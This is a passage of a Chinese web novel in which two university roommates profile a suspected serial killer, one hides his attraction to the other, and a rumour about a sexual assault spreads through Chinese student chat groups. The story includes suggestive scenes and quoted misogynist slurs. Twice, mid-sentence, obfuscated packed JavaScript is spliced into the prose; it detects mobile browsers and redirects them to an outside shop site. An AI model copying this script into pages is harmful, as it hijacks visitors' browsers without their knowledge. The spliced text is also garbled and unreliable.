“在做受害者侧写时,我偶然注意到,有90%失踪或死亡的亚裔男性年龄都集中在三十岁以上,五十岁以下,这么集中的死亡年龄段我暂时还没有在别的种族统计数据上看到,甚至没有在其他州公布的谋杀案数据统计上看到类似的结果,我认为,这很有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041233|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是个突破口。” “你的意思是,你已经能肯定那个潜伏在约州的连环杀手专门猎杀的就是亚裔?” “我不能百分之百地肯定这一点,但我可以肯定的是亚裔绝对是这位杀手偏爱的种族。我与索夫科瓦斯基教授的谈话证实了我的设想,虽然她告诉我约州那段时期的少数族裔死亡数上升与杰森父亲那段时间政策偏向有关,但我认为这对平均收入较高,平均受教育程度也较高的亚裔影响非常小,对其他生活水准较低的少数族裔影响更大,因此,我有理由认为那段时间亚裔死亡率的不正常上升,与我们正在寻找的这位凶手有很大的关系。以及,从死亡或上报失踪的亚裔人口性别分布来看,这位凶手对中年的亚裔男性有着异乎寻常的偏爱。” “接下来,你打算怎么做?”艾登回望着说得眉飞色舞的云决明。 “接下来,就得筛其他选出那些最有可能成为杀手目标的受害人——这可是个大工程。与此同时,我还要继续补充你父亲的受害者侧写,尽量找出其他的突破口。” “直到我们通过别的案件证明约州确实存在一个连环杀手,而警察也的确根据我们找到的证据抓到了正确的犯人,我和你两个人提出的猜想都只是‘两个小孩子的过家家’,在法庭上站不住脚,根本没法用来证明肯尼的案件值得重新审查。即便到了那时候,如果我们没有能确凿地将他和我父亲的谋杀联系在一起的证据,或者他亲口供认自己的罪行,肯尼被放出来的希望仍然渺茫。” 云决明确实取得了一点进度,但这一点进度却更像一个对比,犹如下载条前段的那一点点黑色,只是用来让人们意识到这个过程会有多么漫长。艾登不禁有些灰心丧气。 “艰难是必然的,艾登,我们这是在凭空造物,犹如从散沙中造出宏伟不朽的罗马。如果有足够的人手和工具,其实你的办法是最稳妥,也最不容易出错的,我的办法有些讨巧,像是预先给未知数设定了一个值,然后把它代入方程式,看看能否将它解出来。不管怎么样,耐心一点,艾登,慢总好过出错,用另一个无辜者来换取肯尼的自由。” 云决明的手攀上了他的肩膀,安抚地拍了拍。 艾登回过头来,脚步突然不肯再继续向前一步,带着鼓励笑容看着自己的云决明霎时压过了周围存在的一切,他就是这个夜晚,他就是星星,疲惫一天回到家后门廊为他所留的柔光,清晨醒来咖啡杯边袅袅升起的淡雾。这就是拥有一个知己的意义吗?随便搜罗了几个平淡无奇的字眼,再把它们重新排列,就能奇迹般地舒缓自己焦躁的心情,简直不可思议。艾登心想,第一次没能抑制住那想为云决明拂开刘海的冲动,犹豫着伸出了手,云决明不解地看着他,似乎不明白他要做什么。 指尖即将落在发梢上的一刻,洛克希突然爆发的咆哮吓得艾登一抖,手就像什么什么受惊的小动物一般飞快地躲进了口袋,他扭头一看,原来大狗发现了一只松鼠,正箭一般地向一颗大树奔去,艾登已经见了它这副模样无数次,赶在它扑上去,将那只可怜的小松鼠脖子咬断以前喝止了它。洛克希不情不愿,无精打采,夹着尾巴走了回来,任由艾登给它重新扣上牵绳。它不知道此刻它的主人比没抓到松鼠的它还更要沮丧。 “我跟你说过什么来着?”不敢抬头看云决明此时的神色,艾登轻轻揪了揪洛克希的耳朵,“控制不住自己去抓松鼠,就只有被牵着的份。” 洛克希撇着头,仍然充满渴望地看着适才那只松鼠的出没出处,似乎对艾登的话置若罔闻。 “别太勉强他,”也许是他的错觉,云决明的声音听上去也有一点紧张,“狩猎是动物的本能。” 本能这个字眼勾起了艾登的思绪。 “过几天,也许找个周末,”他直起身,“我们一起回去你家看看好吗?我从来没见过你的母亲,也许她想要认识认识自己儿子的室友呢?” 云决明僵在原地,他大概没想到自己会突然提起这个话题。 “我妈妈根本不关心我有没有室友,”他轻声说,“她也从没打电话来说要我回家看看,我不想就这么贸然回去。” “那是你的家,哪有什么贸然——” “那不是我的家。”云决明坚决地打断了他的话,洛克希察觉到了他的语气不对,摇头摆尾地绕着他的腿打转,发出像小狗般轻轻的安抚声,“那只是一个我曾经住过的地方。” 艾登在他那双转开的受伤双眼中找到了真正的答案——家是个能让人安心的港湾,但那个十一岁时就被迫从祖国离开的小男孩从来没在那间屋子里找到这种感觉。在云决明心里,家只能是那个被漆成深蓝色的小房间,贴着海报与孩子天真的梦想,永远不会褪色,也不会生霉,像个精雕细琢,放在玻璃柜中展示的艺术品,长久在他心中闪着不曾陨灭的光。 “好,我们不回去。”他哄道,“但给你的母亲打个电话,怎么样?我的奶奶也从不会主动给我打电话,”他撒谎了,其实奶奶经常给他打电话,每次都会找些鸡毛蒜皮的理由,“但我知道她心里是盼着我主动联系的,长辈有时就是这样,我们要稍微谅解一下。” 云决明不置可否,他只是弯下腰挠着洛克希的耳朵,乐得大狗拼命甩着自己的尾巴,几乎都能用那截毛茸茸的东西来发电了,“你玩够了吗?洛克希?玩够了吗?”他用对小孩子说话般的尖细声音说道,“想回家了吗?我们一起回家好不好?” “家?”艾登玩笑地一挑眉,“还是说只是一个你正住着的地方?” 他抬头看了一眼艾登,微微一笑。 “家。” 57. Chapter·Four 云决明每天早上起来的第一件事,就是看手机。 9月28日,早上6:30分,通知栏:无通知。 他稍稍松了一口气,至少这意味着自己睡过去的几个小时里,唐泽茹没有制造出什么麻烦。 刷牙洗脸,换好衣服,下楼煮咖啡,准备做早餐。虽然才开学二十几天,云决明已经养成了习惯,闭着眼睛都能熟练地预热烤箱,给面包涂黄油,剥几根香蕉丢进奶昔机里。通常是等他把新鲜打出的香蕉蛋白奶昔倒进杯子里时,就能听见钥匙在楼下大门转动,一并传来的还有大狗兴奋的呜呜声,及那个他熟悉无比的声音——“我回来了,Ming!” 慢跑完满身臭汗,只穿着背心和短裤,却偏生诱人得像块巧克力蛋糕的艾登,是云决明每天固定的清晨流程中,唯一无法习惯的事。 他只能尽量避开眼神接触——就像现在这样,视线牢牢固定在递过去的那杯奶昔上,一松手就迅速转身,假装自己正急切地等待着咖啡做好。想想爬满苍蝇的狗屎,或者想想地板上一块去除不掉的污渍,云决明在心里反复念叨着,他每次都换着法子想那些能转移开注意力,还能使自己冷静下来的事。想想洛克希把你找到的论文全吃了,想想他把泥爪子踩在了你新买的白绒面椅子上,别去想艾登。 想什么都好,千万别去想艾登。 “你今天早上精神不错啊,看来是对今天凯斯勒教授的小测心有成竹了。我也没怎么觉得紧张,应该是因为你昨晚给我补了好几个小时的缘故。” 艾登闲聊着,他的声音一下子冲淡了脑子里令人不快的景象,只通过声音,云决明也知道他在干嘛——在冰箱里挑挑拣拣,拿着他要用来做早餐的食材,只要一偏头,就能看见透过背心的空隙瞧见他结实的胸肌,轮廓分明地与八块腹肌划分了楚河汉界,细小的汗珠顺着起伏沟壑向下滑去,在小麦色的肌肤上争前恐后地赛跑,就像冰激凌融化后流下的奶油,让人想要用手指一抹,在口中细细品尝。 云决明忽地觉得裤子有点紧。 想想烤糊的面包,想想突然爆开,食物残渣沾满了整个厨房的高压锅,想想布满水渍的下水盆,想想堵塞的垃圾处理器。 他深吸一口气。 “借过一下,Ming,我今天早上打算给你做鸡蛋沙拉,配上烤面包可好吃了。我吃白水煮蛋就好——你不介意沙拉里蛋黄多一些吧,蛋黄对我来说脂肪含量太高了,我不能吃。” 一边说着,艾登一边扶住了云决明的肩膀,从他身后和厨房中岛中间那条不大的缝隙挤了过去——艾登穿的裤子很宽松,然而空间太小,每一寸隆起凹陷都被挤压得轮廓分明,几乎相当于在云决明屁股上盖了个艾登夸部形状的章,混合了汗液,荷尔蒙,止汗香剂的雄性麝香味从他的鼻孔侵入,劫持了所有涌向大脑的鲜血,呼啸着往下半身冲去,“让一下。”云决明含糊了嚷了一句,落荒而逃。 这日子没法过了。 他冲上楼,直接脱光了衣服,跳进淋浴间哆哆嗦嗦地洗起了冷水澡,像台失控的直升机,在半空中疯狂打转的充血大脑缓慢释放了眩晕感,但云决明仿佛还能感受到艾登就站在自己身后,紧紧贴着自己,他的肌肤牢牢记住了那触感与形状,久久不愿放手。 这日子没法过了。 云决明恨恨地思忖着。 他很想把自己的冲动从身体里拽出,使劲给它两拳,看能不能打出一星半点理智——要是连这么一点身体接触都接受不了,那还不如趁早搬走算了,这是两个男人住在同一个屋檐下,哪来那么多讲究?哪能让别人跟个木乃伊一样包得严严实实? 然而,脑子却诚实地搂住了爱意,恍若在跳一曲双人华尔兹,全心全意沉浸在脱缰了的想象中,飞溅的水珠化为无数条光线,交织成了金碧辉煌的宫殿,自己犹如是个崇拜物神的虔诚仆奴,正匍匐在冰冷的大理石地面上,面前是一樽神圣无比,不容任何亵渎的古铜色塑像,流畅的线条就像刚挖出的冰激凌上顺滑的褶皱,夜色轻浮地笼罩在塑像上,犹如从顶上浇落的巧克力浆,冰冷的水流从他脊背流下,似是自我拷打后条条皮开肉绽的伤口,目的是惩罚他饕餮的念想。 在遇见艾登以前,他以为这种渴望全然与自己无缘。 进化心理学上认为,比起女性的荷尔蒙,男性荷尔蒙更容易释放一种刺激大脑皮层的激素,他们就像交响乐与烟花的结合体,只让声色同时在想象力与姓冲动的部分炸开,压抑住了大脑皮层其他的功能——诸如理智,诸如语言。因此男性能时时刻刻保持在姓活跃的状态,有助于驱使他们寻找更多,更新鲜的姓伴侣,延续种族的繁衍。而女性荷尔蒙释放的激素较低,则能在唤起姓冲动的同时,保留脑内的理智——这有助于女性不被冲昏头脑,能更谨慎地挑选自己的伴侣,从而做到优化后代的基因。 读到了这个理论以后,云决明一直觉得自己是异类。 到了男生甚至会因为一阵风就起反应的年纪,他就像个清心寡欲的和尚,什么感觉都没有,甚至连梦遗都极少;别的男孩瞧见一截胳膊,就开始意胳膊以外的身体部分长什么模样,是肥是瘦,是粉是黑,是粗是细,是松是紧,云决明只觉得这种行为恶心至极——一截胳膊就是一截胳膊,皮肤,肌肉,神经,骨骼,在他眼里就只有这些,别无他物;他甚至没有出于好奇去找某些电影,或者是借别人从父亲床头柜里偷出的杂志来看看,他从来就对那些事没兴趣。 现在他知道了,那只是因为他没有遇见艾登。 只消看上他一眼,就能让交响乐在胸腔中轰然奏响,烟花悉数在脑海中绽放,血液如骤然开闸的洪水,汹涌奔流。 “不好意思,有时候我会忘了你不喜欢跟别人有身体接触,”回到餐桌上后,艾登立刻诚恳地向他道歉了,“你刚才不是去洗手间吐了吧——上次在六旗游乐园,你好像也是这样随口嘟囔了一句,就跑了,那次你该不会也是——” “这鸡蛋沙拉挺好吃的,除了蛋黄酱,你还放了什么?” 上次在游乐园里,云决明差点要用传统的释放方式才能让自己冷静下来,在厕所隔间里站都站不住,眼前不住以极慢的镜头一帧一帧回放着艾登舔掉糖粉的模样,呼吸急促得可以风力发电。如果这时候有谁给他脑子贴上电极,像给小白鼠做实验那样检测,就会发现大脑皮层的部分比太阳还要明亮刺目。 迄今,想起那时的狼狈,还是会让云决明禁不住脸颊发烫,他可不愿意继续这个话题。 “我还放了欧芹,一点点百里香,一撮混合香料,然后加了少许淡奶油,打发以后再和鸡蛋混合在一起,”艾登的注意力马上被转移开了,这一招百试百灵,“可不是外面卖的五美金一盒的鸡蛋沙拉能比的。”他洋洋得意地说道,“我专门为你调的。” “为了我?”云决明明知故问。 “当然是为了你,还有谁值得我这么费心?”艾登灿然一笑,“赛季占据了我全部的精力,调查案件的事这下子都落在你肩膀上了,为你做点好吃的,就是我表达谢意的方式。” 云决明有点失落。说到底还是为了感谢他,不是为了他。 “威尔逊校长那儿有什么新消息吗?” 距离唐泽茹向北美吐槽君投稿已经过了两个多星期了,云决明一开始以为过几天就会有好消息传来,结果一连等了这么多天,都毫无动静,他每隔几天就要问一次。 “没有,”艾登的脸色一下子阴沉了,好在没有不耐烦,“你刚才在洗手间里磨蹭太久了,得赶紧吃,不然我们一会就要迟到了。” 星期二的第一节课是凯斯勒教授教的统计学,云决明当然清楚迟到会有什么样的后果,赶紧三两口把早餐都塞进肚子里。拿起手机的时候,他下意识地看了一眼屏幕,7:35分,通知栏处仍然显示没有任何新的通知。 * 凯斯勒教授宣布下课后,云决明又看了一眼屏幕,10:47分,通知栏依旧一片空白。 “走吧,”见他盯着手机发呆,身旁的艾登招呼了一声,“我把你送过去,说不定能跟索夫科瓦斯基教授打个招呼,之后再去图书馆。” 云决明紧接着就有一节犯罪心理学课,在隔壁的大楼上,艾登的下一堂课要等到晚上七点,时间充裕得很。 他们并肩走下台阶,教室里没几张熟面孔,都是新同学。毕竟,但凡是看过“给我的教授”打分网站评论的学生都会尽可能避免选凯斯勒教授的课,即便不知道别人对他的评价,上了一节以后也该心有余悸,发誓这辈子不再来了。 不过,可能是因为上学期已经传了够多的谣言和风言风语,U大的学生们基本都接受了艾登交了一个新的华人好友,而且跟对方形影不离这件事,云决明和艾登从开学以来就没有得到多少好奇的目光,不像上个学期,即便是大家都一窝蜂地向门口涌去,急着离开的当口,都会不少人投来好奇又探究的视线,有些人还会一个劲地盯着他们下半身,似乎想知道他们会不会趁乱牵个手什么的。 话虽如此,云决明还是敏锐地捕捉到了一两双意味深长的眼睛,躲在摩肩接踵间悄悄转来,伴随着细细的窃窃私语,不怀好意地上下打量着艾登,仿佛要从他脸上挖出点什么似的,让云决明想起高中时那些霸凌者的目光——他们就像郊狼一样,双眼急切地在旁人脸上嗅闻着可乘之机,他们可以准确地分辨出欺负谁能带来最多的乐趣,是一种天然的本能。 这些学生也在嗅闻着艾登。 云决明大概能猜到背后的原因。 有个女孩在艾登的生日派对上遭到了姓侵,这个校方极力想要掩盖的消息,在唐泽茹投稿后飞快地在U大扩散开来。Yik Yak上一个星期累计了四十多条与此有关的帖子,脸书与推特上亦有人发声,询问谁去了那场派对,是否有人知道什么内幕,几乎每条下面都有上百条的回复。 然而,不知道是北美吐槽君上的投稿被翻译时有人会错了意,还是一开始就故意添油加醋,这件事传到美国人圈子里时,俨然就成了令人咂舌的“艾登的未婚妻在其生日派对上被性侵,艾登愤而撕毁婚约,学校为了遮掩丑闻不择手段”。 这种情况下,也无怪乎有那么多人都拿着奇怪的眼神打量着艾登——不过,就云决明自己上网搜索后找到的内容来看,绝大多数人都不太相信这件事,发帖的也都是在求证此事,还没有哪个人敢站出来信誓旦旦地说这就是真的,如果唐泽茹不再闹出什么幺蛾子,云决明估计,只要艾登和他的球队再赢得几场胜利,这件事的热度也就会淡下去。 但在华人圈子里,事情就完全不同了。 唐泽茹投稿被撤下的第五天,云决明就接到了高谏琦的电话,询问他知不知道有人在北美吐槽君上投稿了艾登生日派对的事。“对不起这么贸然打扰你,”她打电话过来时的声音听上去非常愤怒,“但我真的想知道真相——而且我也挺想找个正常一点的男人倾诉一下,不然我都要对这个世界上所有的雄性生物丧失信心了。” “没事,你倾诉吧。”云决明柔声安抚着,高谏琦一直很照顾他的母亲,就这一点来说,他永远都会欠着她一份人情,“发生什么事了?” “我想先问问,唐泽茹这事是真的吗?” “她被侵犯这件事应该是真的,”云决明简单地把派对上发生的事情解释了一下,最后又强调了一句,“但侵犯她的绝对不是华人男性,发在北美吐槽君上的投稿也很有可能就是她自己写的。幸好及时在黎疏眠的要求下被删掉了” “删掉了没用,”高谏琦听起来有点焦虑,“已经有人把图片保存下来了,现在各个微信群都在疯狂转发,都在议论这件事。而且有人根据投稿里面那段关键性的描述“内定为维尔兰德家的孙媳妇”,猜出了唐泽茹就是被强煎的女孩。” “唐泽茹有没有亲自站出来说什么?” “没有,甚至连她的小号也没说什么。”高谏琦说,“我觉得她可能根本不敢——你根本想不到现在华人微信群和朋友圈里都在说些什么,我都给看懵了。 “一开始,我是在一个二手闲置分享群里得知消息的。黎疏眠不在这个群里,唐泽茹在。昨晚有人把投稿发在群里,@了唐泽茹,问投稿说的是不是她,唐泽茹大号没说话,有个女孩倒是跳出来,说自己在派对上,没听说发生了这件事,而且黎疏眠也在派对上,有她在,是不可能有人出事的,结果群里就吵起来了。 “一开始还好,谈话基本集中在派对上,有些人在询问那个女生派对上的情形,有些人在相互安慰,有些人@唐泽茹给法律建议和处理建议。 “后来,有个人——我不确定她是不是 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“我退群以前,有个同样也认识黎疏眠的女生加了我,她给我看了另一个群的聊天记录——我这个二手分享群里好歹都是女生,那个群里还有男生,内容简直不堪入目。有了‘兄弟会’‘美国富家白人子弟’‘派对’‘下药’这些关键词,我怀疑那些男生都要颅内高潮了,简直就跟传销一样,你一言我一语的在群里说美国白人有多么瞧不起亚洲女性,亚洲女性在他们眼里就是发泄欲望用的母狗,甚至还说到白人喜欢亚洲女性就是因为她们某个部位很紧致,谁嫁给白人谁就是只跪在地上梦想舔民主爸爸的——算了,我都说不下去。反正就是在群里借机洗脑,说中国女生只能嫁给中国男生——可笑的是半句也没提‘中国男生只能娶中国女生’呢。” “唐泽茹不是在投稿里说侵犯她的是华人男性吗?”云决明有些不解。 “他们才不会管这一点呢。他们只看到了能被他们利用的东西,那些不能被他们利用,统统一个字也不说。反正,在他们嘴里,那已经不是艾登的生日派对,而是兄弟会大型姓爱狂欢现场了,去的全是跪舔艾登和兄弟会的母狗。 “他们这么一说,还有哪个女生敢站出来澄清这件事?敢站出来说自己在那个派对上?那些男人还在四处打听,说要把参加派对的女生名单放出来避雷呢。最可怕的是,他们每说一句,都最少有三四个女生站出来附和,说什么‘但凡自爱一点的女生都不会想要去参加那个派对’,快给我看吐了,这帮人出来美国留学是在孔子学院里读的吗?小时候是吃传统女德指导书长大的吗?” 云决明听的愣住了,一时都不知道该说点什么好,只能“嗯嗯”两声。 “那个微信群还挺大的,马上就满人了,从名字上看,是个留学推广群,我很怀疑后来被歪曲的消息都是从这个群里发出来的——本来,这个时候,大家判断这件事的依据就是一篇投稿,没有任何实质性的证据,比如说医院的验伤单,比如说警察给的回执单,等等,唐泽茹本人也完全没有回应任何@她的关心和疑问。至少在我看来,这时候应该等当事人出来自己发声,说清楚自己想要什么样的援助,同时给出受害人这一方所持的证据——诶,也不是说证明她到底有没有被侵犯,她如果给出了证据,至少大家也知道该怎么利用这些证据帮助她,对不对?而且这会,都还没有百分之一百的确定就是唐泽茹被侵犯了呢。反正我的意思就是,在当事人自己出来说话以前,肆意评价和揣测都是对受害人的伤害,也对整件事毫无帮助。 “但就在昨天,几个专门做留学中介的公众号已经跳出来,开始写些危言耸听的文章,把微信群里的聊天记录当成证据,写什么‘在美留学生亲自现身说法,论美国大学有多么混乱’,有几个甚至连唐泽茹和黎疏眠的照片都放出来了,一点码没打,也不知道是从哪里扒出来的。后来越传越玄乎,什么‘美国大学兄弟会有组织地给中国女性下药强煎,聚会上,这十件事千万不能做!’‘还想着把你的女儿送去美国念大学吗?你是把她送进美国白人的陷阱里!现在马上联系客服,咨询英国留学事宜,老牌绅士国,安全可靠!’都跑出来了。” “吃人血馒头的人哪里都有。”云决明评价了一句,“这么好的商机他们当然不会放过。” 他接着又安慰了几句,但那都是后话了,至少高谏琦的电话让云决明意识到这件事可能会造成比他之前想象严重得多的后果——先前,他只考虑到了艾登的运动生涯前途会因此受到影响,根本没想到会长,还有其他参加这场派对的女生也会一并被牵连。黎疏眠或许想到了,所以她才会对唐泽茹没在投稿里给她的名字打码一事那么愤怒。 他好奇的是唐泽茹是否想过这些后果。 如果她对艾登哪怕有一丝了解,她就会知道艾登是个保护欲有多么恐怖的男人。唐泽茹可以用最卑鄙无耻的手段威胁艾登,用毫无根据的指控断送艾登的运动生涯,甚至是用恶毒的流言蜚语毁灭他的名声与荣誉,以艾登的为人来看,他都仍然有可能原谅她的所作所为,但只要碰了他身旁的人一根指头——即便是黎疏眠这般,仅仅是前女友,艾登也绝不会姑息。 “那么,一会我再来接你,”不知不觉,他们已经走到了犯罪心理学课的教室,艾登停住了脚步,“中午还是老样子,韩国甜品店?” “还是老样子。”云决明点点头,注视着艾登冲他一眨眼,手指在额旁一并一挥。等他转身离开以后,他才从裤兜里掏出手机,时间是10:55分,通知栏仍然没有任何新消息。 找到自己惯常的座位,云决明拿出了电脑。索夫科瓦斯基教授喜欢踩点到,这意味着他还有五分钟可以利用。他先在微博上搜索了几个关键词,U大的名字,美国,强煎,女留学生,看了一圈以后没找到什么,接着便打开了脸书,慈善协会最近要办烘焙义卖,为了积攒慈善小时,他得登记自己作为志愿者的信息。 他刚一登录,点开U大的官方脸书页面,就看见首页第一条U大刚刚发布不久,宣传校曲棍球队的帖子下冒出了三四个中文回复。 “观光团到此一游。” “来观光了。” “啧啧啧。” “前排占座,我看这学校要火。” 他正准备向活动滑去的鼠标一下子停住了。 58. Chapter·Five 黎疏眠直到下午四点才抽出时间,赶到韩国甜品店与艾登,云决明,还有艾莉汇合。 “不好意思我来得这么晚,”她气喘吁吁地在桌边刹住脚,额头上冒出了细细的汗珠,看来是一路跑过来的,“我今天一整天都在忙烘焙义卖的事——” 见到她来了,艾登和云决明都赶紧站起身,“没有必要道歉,我的妹妹也才刚到,况且,本来就是我们麻烦你——”艾登说着,刚想把他的座位让给黎疏眠,艾莉却抢先一步,把会长拉了过去,打断了艾登的话,“你坐这里吧,”她殷勤地说道,站在对面的云决明看着她这犹如追星族瞧见偶像般的神态,不禁挑起了眉毛,“我是艾登的妹妹,艾莉,我们好像从来没正式被介绍过。” “黎疏眠——叫我疏眠就好。”会长微微一笑,在艾莉让出的位置上坐下了,正对着云决明,“很高兴认识你。” 艾登咳嗽了一声,云决明则禁不住觉得有点酸酸的——艾莉一定更希望黎疏眠成为她的嫂子吧? “我刚才说到,这件事本来就是我在你百忙之中麻烦你,我才是那个应该道歉的人。” “客气什么。”黎疏眠轻哂,“该感到抱歉的是唐泽茹,她投稿时没把我的名字码掉,就已经让这件事也成了我的私事。多亏了她,我现在在华人圈子里的形象成了卖国贼和皮条客——” “皮条客?”艾登差点被咖啡呛到。 “对。”黎疏眠微笑着转向他,“专门给精英白男介绍中国女留学生的皮条客。而且,不知道谁把我的私人微信泄露了出去,这半个月来我已经收到了上百条好友申请,全都是问‘我手上的姑娘多少钱一晚?’或者我自己‘多少钱包月?’。这些男人一边在微信群里道貌岸然得像个坐怀不乱的正人君子,一边转头就打起了猥琐下流的主意,还有脸质问我为什么不找个‘纯正’的中国人当男朋友,要跟一个香蕉人交往。唐泽茹这件事一天不结束,这些流言就会愈闹愈恶劣,我可不希望哪天起床,发现连我爸妈都听说了这件事。所以,现在弄清楚了那些中文留言是怎么回事了吗?” “我收到信息以后,在数学课上偷偷写了一个程序,可以把半个月以来所有在U大脸书页面及推特下留言的中文信息都抓取出来,”艾莉把她的电脑推过去给黎疏眠看,“我找到了五十多条,最早的一条是在9月22日的中午,也就是中国的半夜留的。” “那是一个星期以前了。”黎疏眠说,她这句话里没有任何指责的语气,却让云决明呼吸为之一滞。 早上那节犯罪心理学课,他一个字都没有听进去。 在索夫科瓦斯基教授走进教室以前,他就已经翻到了最早的那几条留言。 这意味着,唐泽茹已经在微博上作妖了一个星期,他却完全没有发现。 某种失职的愧疚感就像许久未开窗的房间里挤压的灰尘,在打开门的瞬间便淹没了他。不该是这样的,云决明心想,不该是这样,他每天早上起来第一件事就是看手机,他每天都要去微博上转一圈,就是为了防范于未然。因为艾登看不懂中文,他对国内的微博和微信一窍不通;唐泽茹从一个艾登完全陌生的世界里向他发起了进攻,他没有还手之力,必须要有人保护他。这份责任不该由黎疏眠这个前女友承担,也不该由只有十五岁的艾莉承担,理应是自己的。 因为他爱他。 可他失败了。 索夫科瓦斯基教授投影屏前讲解着几种常见的,容易诱发犯罪行为的心理疾病,但每一个跳出的精神病杀人犯照片都像是在咧嘴嘲笑他。你这算做了什么?某个据教授说是患了精神分裂症,杀死了自己全家的男人歪斜着嘴角轻声说。你觉得你这就算努力了?他那双闪着疯狂光芒的双眼质问着云决明。你看手机是等着别人发现唐泽茹干了些什么,你仰仗的是微博不可靠的搜索系统。你不是自认为有点心理学天赋吗?为什么不侧写一下唐泽茹,猜猜看她会干什么呢?其实你根本什么也没做,承认这一点吧,承认你就是个一无是处,把自己封闭太久,早就丧失了基本社交技巧的废人,根本比不上黎疏眠,她在北美吐槽君发投稿后的十分钟里就联系了对方删除稿件,唐泽茹一周前就发起了下一轮进攻,你直到现在才看见。 心理学不是这么用的,云决明很想为自己辩解,况且我也想不到更多侦测她下一步行动的办法了,我不是超人,也不是天才。可这些话临到嘴边,就像滚落到地毯里的硬币,纽扣,钥匙,充电线,还有耳机,只一眨眼的功夫,就再也找不着了。 他知道这是愧疚在说话,可他无力反驳。 孤独拥有摧毁所有的力量。虽然现在有陌生人朝云决明微笑的时候,他不再会低头匆匆离开,而是会紧张地点点头;课堂上听见自己回答得上来的问题时,他会鼓起勇气抬头说出答案,选择把自己的脸暴露在除了电脑屏幕以外的地方;从学校回家的那条短短的路程上,他会在等红灯时拍下燃烧晚霞的夕阳,想着自己也许哪天会鼓起勇气发布到Instagram上,让那不再是个宛若机器人般的三无小号。但他仍然不能摆脱孤僻在心上留下的烙印。 即便是为了艾登,他还是没法强迫自己主动接触陌生人,主动做出比被动搜索和等待更多的事——如果这事换了黎疏眠,她可能已经主动联络了所有唐泽茹可能投稿的微博号,甚至是抢先一步,先发制人,把整个故事整理出来,发在微博上,从容回应网友的所有质疑,而不是坐以待毙。 可这些事,云决明连在潜意识里计划一下都不敢,更不要说产生这些想法了。 种种生活中的微小细节,让他自信自己已经跨越了从前画下的界限,再度成为这个世界真切的一部分,拥有了能保护艾登的力量——然而,在这沮丧无比的一刻,他回头望去,发现自己似乎还躺在漆黑无光的深渊中,艾登在遥远的繁星尽头,他以为自己在手心里凝聚他的光,但他只是伸出手,遮住了自己的眼。 “别责怪受害者。”心理学教授都这么教导,但他们忘记说了,没什么指责能比受害者的自责更加沉重。 “是的,已经一个星期了。”云决明嘶哑着嗓子重复了一句,没人知道这句话让他多么心如绞割,即便是艾登也不可能清楚。黎疏眠望了他一眼,又转向艾莉,“那现在呢?”她问。 “现在还不算很多,我后来把英文的关键字也加上了,筛选出了六十多条,都是使用了代理器的ip地址,可以断定全是中国人发的。” 在黎疏眠赶来以前,他和艾登已经看了这些留言。一开始评论的是些女孩——从头像和名字判断出的——情绪激动地指责U大企图用钱把强煎受害人打发的无耻嘴脸,要求学校正视这一案件,停止包庇美国公民,并且还说出了诸如号召中国人抵制这所大学,不要再继续给它送钱的话。或许因为这样的留言只有二十多条,都集中发在一两条帖子下面,加上学校官方脸书页面及推特通常都没什么人看,它们没有得到任何回复。 随后,从昨天开始,也就是国内的一大早,就出现了大量明显能从头像和名字判断出是男性用户所发的“观光打卡”评论——平均每条官方发出去的推特或帖子下都有四到五条,不仅云决明看到了,有些U大的中国留学生也注意到了,有几个人询问他们来观光什么,其中有条回复写着“指路:科学家种月亮微博”,这才让云决明顺藤摸瓜找到了这些留言的源头。 但黎疏眠还没看到那儿,她才看了一两条头几天的留言,就忍不住皱起了眉头,“U大跟唐泽茹谈了?什么时候发生的事情?校长没跟你说吗?” “校长自己都不知道U大已经跟唐泽茹谈了,”艾登冷笑了一声,“我一收到Ming发给我的消息,就去了校长办公室。他的秘书,玛丽安,从见到我就非常紧张,一直拦着我不让我进入办公室,说话颠三倒四的,一会说校长不在,一会又说他在跟校董开视频会议。我知道她肯定隐瞒了什么,两三句就把她的话套出来了。” “她怎么说?” “她还挺聪明的,查到唐泽茹正申请转学到U大,因此装作是U大招生办的员工,给她发了一封邮件,说是要出来面试。唐泽茹上当了,真的出来跟她见面了。但是两个人没谈拢,玛丽安说的话我都听不下去,她一个劲的暗示唐泽茹,强煎她的人是美国公民,她只是一个小小的女留学生,告不赢的,陪审团不会同情她,她到时候把事情闹大了还可能被遣返。” “这就解释了这些愤怒的留言,”黎疏眠点了点头,“至少在这点上她没有夸大。” “显而易见地,唐泽茹没接受玛丽安给的条件,就直接离开了。玛丽安通过这次谈判从我身上捞了四万美金——威尔逊校长告诉我他开的价码是五万,从我这里拿走的也是五万美金的支票。但你看评论里说的,玛丽安提议的封口费是一万美金,怪不得她看见我心虚成那样,也不敢把这件事告诉校长。” “玛丽安这一招真是昏棋,直接把唐泽茹目前最急缺的把柄直接送到了她的手上——如果她够聪明的话,可能在发觉谈话不对的时候就打开手机录音了。假如有录音为证,大家基本都会相信她的故事,很容易忽略这是事后之证,实际是站不住脚的。”黎疏眠说。 “什么叫事后之证?”艾莉没明白。 “事后之证的意思就是,你先捏造一个故事,再找一个相信了这个故事的人来与你讨论这件事,通过与这个人的互动来证明你的故事是真的。这是一个哲学上的概念,事后之证只能证明一件事是存在的,不能用来证明这件事发生过,或者是真实的。但很多人弄不清楚这个概念。 ”艾登耐心地给他的妹妹解释着。 “那这个科学家种月亮又是谁?”黎疏眠皱起了眉头,她趁着艾登向艾莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041235|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 